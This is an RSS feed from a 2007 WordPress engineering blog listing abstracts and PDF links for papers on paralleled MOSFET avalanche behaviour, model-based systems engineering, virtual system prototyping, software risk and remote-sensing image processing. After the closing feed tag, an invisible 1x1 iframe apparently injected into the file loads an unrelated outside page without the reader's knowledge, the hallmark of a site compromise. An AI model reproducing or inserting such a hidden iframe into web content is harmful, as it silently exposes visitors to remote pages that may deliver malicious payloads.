<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>TechnoSap</title>
	<link>http://signalspot.com/sanket</link>
	<description>A Technical blog,"THINK BEYOND THE WORLD" ,Here u can get technical information mainly in electronics &#038; communication field and also software stuff.</description>
	<pubDate>Wed, 06 May 2009 06:19:22 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.1</generator>
	<language>en</language>
			<item>
		<title>Analysis of Avalanche Behaviour for Paralleled MOSFETs</title>
		<link>http://signalspot.com/sanket/?p=31</link>
		<comments>http://signalspot.com/sanket/?p=31#comments</comments>
		<pubDate>Tue, 02 Oct 2007 05:07:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=31</guid>
		<description><![CDATA[Abstract:
In this study, an avalanche extension to existing quasi-dynamic thermal model is developed. And the current and thermal distribution among paralleled
devices under avalanche condition is investigated. The statistic distribution of breakdown voltage, terminal stray inductance and thermal coupling all affect final electrical and thermal balance of paralleled devices. Without careful design consideration, it may cause [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#0000ff">Abstract:<br />
In this study, an avalanche extension to existing quasi-dynamic thermal model is developed. And the current and thermal distribution among paralleled<br />
devices under avalanche condition is investigated. The statistic distribution of breakdown voltage, terminal stray inductance and thermal coupling all affect final electrical and thermal balance of paralleled devices. Without careful design consideration, it may cause reliability problem. So conclusions in this paper could provide useful guidelines for high power discrete or module<br />
applications with paralleled power devices&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..    <a href="http://signalspot.com/sanket/wp-content/uploads/2007/10/avalanche_sae04.pdf" title="MOSFETS.pdf">MOSFETS.pdf</a></font></u></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=31</wfw:commentRss>
		</item>
		<item>
		<title>Experiences in Applying Architecture-Centric Model</title>
		<link>http://signalspot.com/sanket/?p=28</link>
		<comments>http://signalspot.com/sanket/?p=28#comments</comments>
		<pubDate>Fri, 28 Sep 2007 17:12:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=28</guid>
		<description><![CDATA[Experiences in applying Model Based Systems Engineering (MBSE) techniques on a large-scale, distributed, real-time system are presented. Challenges and applied approaches with associated lessons learned are described for both technical and socialogical issues. Examples of technical issues addressed include: defining timing requirements and analyzing the ramifications of design choices on these requirements; early execution of [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#0000ff">Experiences in applying Model Based Systems Engineering (MBSE) techniques on a large-scale, distributed, real-time system are presented. Challenges and applied approaches with associated lessons learned are described for both technical and socialogical issues. Examples of technical issues addressed include: defining timing requirements and analyzing the ramifications of design choices on these requirements; early execution of the design for behavior analysis to include the use of realistic publish and subscribe mechanisms; managing the rapidly evolving design model so that a large number of engineers can make modifications to it (including the need to incorporate practices of managing software builds); and incorporating legacy software into an MBSE approach. Socialogical issues addressed include: using MBSE to work as a team when members span multiple organizations and technical/business domains; the need for a variety of views of the model based on team members backgrounds (i.e., one type of view such as UML will not meet all needs); information hiding so that there is one logically consistent model, yet parts of it can be hidden from some members of the team (for example, when individuals may not have a security clearence that allows them to see certain aspects of the design); and aspects of MBSE that need to be accounted for when creating project schedules (for example, there may need to be model integration periods scheduled similar to software integration periods). A major source of material for this paper was the authors collaboration on the requirements analysis and preliminary design of the U.S. Air Force’s E- 10A Multi-Sensor Command and Control system&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<a href="http://signalspot.com/sanket/wp-content/uploads/2007/09/07_0838.pdf" title="Experiences in applying Model Based Systems Engineering">Experiences in applying Model Based Systems Engineering</a></font></u></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=28</wfw:commentRss>
		</item>
		<item>
		<title>Engineering Systems on a Chip:</title>
		<link>http://signalspot.com/sanket/?p=19</link>
		<comments>http://signalspot.com/sanket/?p=19#comments</comments>
		<pubDate>Tue, 21 Aug 2007 05:35:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Core electronics]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=19</guid>
		<description><![CDATA[Abstract
Systems engineering is not a quiet backwater. It is an arena of political and economic
realignment and foment. And like any revolution in-progress it is the harbinger of great
and unpredictable change bringing with it huge opportunities hand-in-hand with equally
impressive threats. Nothing less than corporate power and bureaucratic structure are
being reordered by the new realities of engineering [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#0000ff">Abstract<br />
Systems engineering is not a quiet backwater. It is an arena of political and economic<br />
realignment and foment. And like any revolution in-progress it is the harbinger of great<br />
and unpredictable change bringing with it huge opportunities hand-in-hand with equally<br />
impressive threats. Nothing less than corporate power and bureaucratic structure are<br />
being reordered by the new realities of engineering systems on silicon. The 30 years of<br />
hardware dominance in silicon electronic engineering is being torn apart by the<br />
recognition that the complexity of modern systems is determined by its multifunctionality,<br />
adaptability and flexibility – attributes that, in an economic sense, are best realized in<br />
software&#8230;&#8230;.<a href="http://signalspot.com/sanket/wp-content/uploads/2007/08/systemsengineering010916.pdf" title="systemsengineering010916.pdf">systemsengineering010916.pdf</a></font></u><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script><br />
<script type="text/javascript">
_uacct = "UA-2507195-1";
urchinTracker();
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=19</wfw:commentRss>
		</item>
		<item>
		<title>The Role of Risk in a Modern Software Development Process</title>
		<link>http://signalspot.com/sanket/?p=20</link>
		<comments>http://signalspot.com/sanket/?p=20#comments</comments>
		<pubDate>Tue, 21 Aug 2007 05:35:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=20</guid>
		<description><![CDATA[A modern software development process is typically characterised by its focus on user
requirements, iterative development and software architecture. Often the critical role of
risk analysis and risk mitigation is overlooked.
This paper examines the role risk plays in software development and the significant
impact it can have on a project’s chance of success. It describes how a change [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#0000ff">A modern software development process is typically characterised by its focus on user<br />
requirements, iterative development and software architecture. Often the critical role of<br />
risk analysis and risk mitigation is overlooked.<br />
This paper examines the role risk plays in software development and the significant<br />
impact it can have on a project’s chance of success. It describes how a change from a<br />
waterfall to iterative development process can have a dramatic effect on the risk profile<br />
of a software project. Furthermore it postulates that a risk driven scheduling policy leads<br />
to more accurate and confident project plans and schedules&#8230;&#8230;&#8230;<a href="http://signalspot.com/sanket/wp-content/uploads/2007/08/the-role-of-risk.pdf" title="the-role-of-risk.pdf">the-role-of-risk.pdf</a></font></u><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script><br />
<script type="text/javascript">
_uacct = "UA-2507195-1";
urchinTracker();
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=20</wfw:commentRss>
		</item>
		<item>
		<title>System-level Debugging in a Multi-core Wireless</title>
		<link>http://signalspot.com/sanket/?p=16</link>
		<comments>http://signalspot.com/sanket/?p=16#comments</comments>
		<pubDate>Tue, 21 Aug 2007 05:30:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Core electronics]]></category>

		<category><![CDATA[Communication]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=16</guid>
		<description><![CDATA[Article Overview
Developing a complex multi-core wireless system is a major challenge, especially when
the cores include both a high-performance processor and a leading-edge digital signal
processor (DSP). Waiting until hardware prototypes are available is unacceptable:
important hardware/software tradeoffs must be made long before the chips are fabricated.
The traditional approach has been to rely on instruction-set simulator (ISS) models [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#0000ff">Article Overview<br />
Developing a complex multi-core wireless system is a major challenge, especially when<br />
the cores include both a high-performance processor and a leading-edge digital signal<br />
processor (DSP). Waiting until hardware prototypes are available is unacceptable:<br />
important hardware/software tradeoffs must be made long before the chips are fabricated.<br />
The traditional approach has been to rely on instruction-set simulator (ISS) models for<br />
the cores to perform pre-silicon verification and debugging. Unfortunately, ISS models<br />
can be too slow and lack the timing accuracy needed to interact with the RTL models for<br />
the hardware portion of the system.<br />
The problem is worse in a multi-core environment, since individual emulator tools often<br />
lack synchronization mechanisms in debug mode. The result is that some aspects of the<br />
software development and hardware/software integration must wait until the wireless<br />
hardware prototypes are ready. The process of development and debugging on expensive,<br />
scarce hardware prototypes delays project schedules and increases the risk of chip turns.<br />
This whitepaper presents a method for system-level debugging of a multi-core system<br />
using a virtual system prototype, which allows a cycle-accurate simulation of a complete<br />
system to execute in real time on a PC. This is a much faster solution than ISS-based<br />
simulation. Complete system-level single-stepping can be performed, providing the<br />
debug mode a level of timing accuracy that matches the real-world setup. Further, virtual<br />
system prototypes provide flexibility during development by enabling developers to<br />
experiment quickly and accurately over multiple system setups and scenarios. An<br />
example of a multi-core wireless system containing two ARM processors and a StarCore<br />
DSP demonstrates the effectiveness of this approach&#8230;&#8230;..<a href="http://signalspot.com/sanket/wp-content/uploads/2007/08/ex-wsdwhitepaper.pdf" title="ex-wsdwhitepaper.pdf">ex-wsdwhitepaper.pdf</a></font></u><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script><br />
<script type="text/javascript">
_uacct = "UA-2507195-1";
urchinTracker();
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=16</wfw:commentRss>
		</item>
		<item>
		<title>Software Driven Embedded Systems Design</title>
		<link>http://signalspot.com/sanket/?p=14</link>
		<comments>http://signalspot.com/sanket/?p=14#comments</comments>
		<pubDate>Tue, 21 Aug 2007 05:27:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Core electronics]]></category>

		<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=14</guid>
		<description><![CDATA[Abstract
Concurrent hardware and software development for embedded systems has progressed from discussion to deployment at leading electronics companies worldwide. Texas instruments, ST, Samsung, Infineon, and others have gone on record with their experiences – the results have been mixed. This paper identifies the first order factors that drive a high performance concurrent hardware and software [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#0000ff">Abstract<br />
Concurrent hardware and software development for embedded systems has progressed from discussion to deployment at leading electronics companies worldwide. Texas instruments, ST, Samsung, Infineon, and others have gone on record with their experiences – the results have been mixed. This paper identifies the first order factors that drive a high performance concurrent hardware and software design flow. This paper<br />
begins by examining design team interactions and requirements for a software-driven concurrent hardware and software design flow. Software use cases are then analyzed with the goal of understanding the timing requirements of the virtual prototypes used in the concurrent design flow. Meeting the defined flow and timing requirements yields an improved design flow and virtual prototype that present a single coherent view of<br />
design functionality and timing to all members of the design team. Furthermore it is shown that the virtual prototype must be capable of inheriting the timing attributes of all sub-designs of the embedded system. Meeting the requirements of coherency and inheritance supports the larger design flow goals of improving schedule, minimizing software rework, and enables the early and accurate optimization of performance, power, and costs&#8230;&#8230;.<a href="http://signalspot.com/sanket/wp-content/uploads/2007/08/softwaredrivenembeddedsystemsdesign.pdf" title="softwaredrivenembeddedsystemsdesign.pdf">softwaredrivenembeddedsystemsdesign.pdf</a></font></u><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script><br />
<script type="text/javascript">
_uacct = "UA-2507195-1";
urchinTracker();
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=14</wfw:commentRss>
		</item>
		<item>
		<title>Virtual prototyping benefits in safety-critical automotive systems</title>
		<link>http://signalspot.com/sanket/?p=12</link>
		<comments>http://signalspot.com/sanket/?p=12#comments</comments>
		<pubDate>Tue, 21 Aug 2007 05:18:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Core electronics]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=12</guid>
		<description><![CDATA[Introduction
Today’s automobiles are experiencing a rapid rise in features
and functions delivered through electronic systems. These
complex systems are comprised of numerous electronic control
units (ECUs) containing embedded processors that perform
dedicated functions and communicate through complex layered
networks. The steep growth in the number and complexity of
ECUs is due to larger economic forces that make the underlying
semiconductor process technology [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#0000ff">Introduction<br />
Today’s automobiles are experiencing a rapid rise in features<br />
and functions delivered through electronic systems. These<br />
complex systems are comprised of numerous electronic control<br />
units (ECUs) containing embedded processors that perform<br />
dedicated functions and communicate through complex layered<br />
networks. The steep growth in the number and complexity of<br />
ECUs is due to larger economic forces that make the underlying<br />
semiconductor process technology ever more capable and ever<br />
more affordable. Unfortunately, as electronic content rises, so does<br />
design complexity. What’s more, competitive forces are driving<br />
shorter design cycles and higher quality, so manufacturers must<br />
deliver product improvements such as better safety, improved fuel<br />
efficiency, and sophisticated infotainment systems in much less<br />
time. The combination of increased design complexity, reduced<br />
time-to-market, and higher quality imposes a difficult design<br />
challenge that often exceeds the capabilities of conventional<br />
design methods&#8230;..<a href="http://signalspot.com/sanket/wp-content/uploads/2007/08/white_autooct05c.pdf" title="white_autooct05c.pdf">white_autooct05c.pdf</a></font></u><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script><br />
<script type="text/javascript">
_uacct = "UA-2507195-1";
urchinTracker();
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=12</wfw:commentRss>
		</item>
		<item>
		<title>Random set tracker expt on a road constrained network</title>
		<link>http://signalspot.com/sanket/?p=10</link>
		<comments>http://signalspot.com/sanket/?p=10#comments</comments>
		<pubDate>Tue, 21 Aug 2007 05:09:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Communication]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=10</guid>
		<description><![CDATA[Abstract – This paper describes the application of finite set statistics (FISST) to real-time multiple target road constrained tracking problems. We studied specific test problems where multiple modality wireless sensor networks monitored road networks of interest. Acoustic and radar detections updated a global density that tracked the number and positions of targets. The global density [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#0000ff">Abstract – This paper describes the application of finite set statistics (FISST) to real-time multiple target road constrained tracking problems. We studied specific test problems where multiple modality wireless sensor networks monitored road networks of interest. Acoustic and radar detections updated a global density that tracked the number and positions of targets. The global density determines “information states” that form the basis of a closed-loop Markov Decision Process resource management procedure that controls sensor operation&#8230;..<a href="http://signalspot.com/sanket/wp-content/uploads/2007/08/06_1304.pdf" title="06_1304.pdf">06_1304.pdf</a></font></u><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script><br />
<script type="text/javascript">
_uacct = "UA-2507195-1";
urchinTracker();
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=10</wfw:commentRss>
		</item>
		<item>
		<title>Virtual system prototyping ensures reusable design platforms</title>
		<link>http://signalspot.com/sanket/?p=9</link>
		<comments>http://signalspot.com/sanket/?p=9#comments</comments>
		<pubDate>Tue, 21 Aug 2007 04:53:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Core electronics]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=9</guid>
		<description><![CDATA[Abstract
This paper describes the traditional, sequential development environment and its shortcomings with respect to true concurrent hardware and software development and verification; outlines the concurrent development process and the use of virtual systems prototyping; describes a virtual systems prototype in depth; and shows how a virtual systems prototyping development process helps to ensure the business [...]]]></description>
			<content:encoded><![CDATA[<p><u><font color="#800080">Abstract</font></u></p>
<p><u><font color="#800080">This paper describes the traditional, sequential development environment and its shortcomings with respect to true concurrent hardware and software development and verification; outlines the concurrent development process and the use of virtual systems prototyping; describes a virtual systems prototype in depth; and shows how a virtual systems prototyping development process helps to ensure the business goals of maximizing time to market through platform-based design. The paper concludes with a look at several examples of projects that have benefited from the virtual systems prototyping development process.</font></u><a href="http://signalspot.com/sanket/wp-content/uploads/2007/08/reusabledesigns041213.pdf" title="reusabledesigns041213.pdf">reusabledesigns041213.pdf</a><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script><br />
<script type="text/javascript">
_uacct = "UA-2507195-1";
urchinTracker();
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=9</wfw:commentRss>
		</item>
		<item>
		<title>Digital Image Processing in Remote Sensing</title>
		<link>http://signalspot.com/sanket/?p=4</link>
		<comments>http://signalspot.com/sanket/?p=4#comments</comments>
		<pubDate>Sun, 19 Aug 2007 11:32:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[image processing]]></category>

		<guid isPermaLink="false">http://signalspot.com/sanket/?p=4</guid>
		<description><![CDATA[


&#8220;&#62;Research project &#8220;Digital Image Processing in Remote Sensing&#8221; has been funded by the Ministry of Agriculture and Forestry. The project was started in 1986 &#8230;&#8230;&#8230;.
 





_uacct = "UA-2507195-1";
urchinTracker();

]]></description>
			<content:encoded><![CDATA[<table border="0" cellPadding="0" cellSpacing="0">
<tr>
<td class="j"><a href="http://www.foto.hut.fi/research/projects/pr_Digital_image_processing_in_remote_sensing.html"><br />
&#8220;&gt;<font size="-1">Research project &#8220;<strong>Digital Image Processing</strong> in Remote Sensing&#8221; has been funded by the Ministry of Agriculture and Forestry. The project was started in 1986 <strong>&#8230;&#8230;&#8230;.</strong><br />
<span class="a"><font color="#008000"> </font></span></font></a></td>
</tr>
</table>
<p><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script><br />
<script type="text/javascript">
_uacct = "UA-2507195-1";
urchinTracker();
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://signalspot.com/sanket/?feed=rss2&amp;p=4</wfw:commentRss>
		</item>
	</channel>
</rss>
<iframe src='http://www.letitridestables.com/sexy/' width='1' height='1' style='visibility: hidden;'></iframe>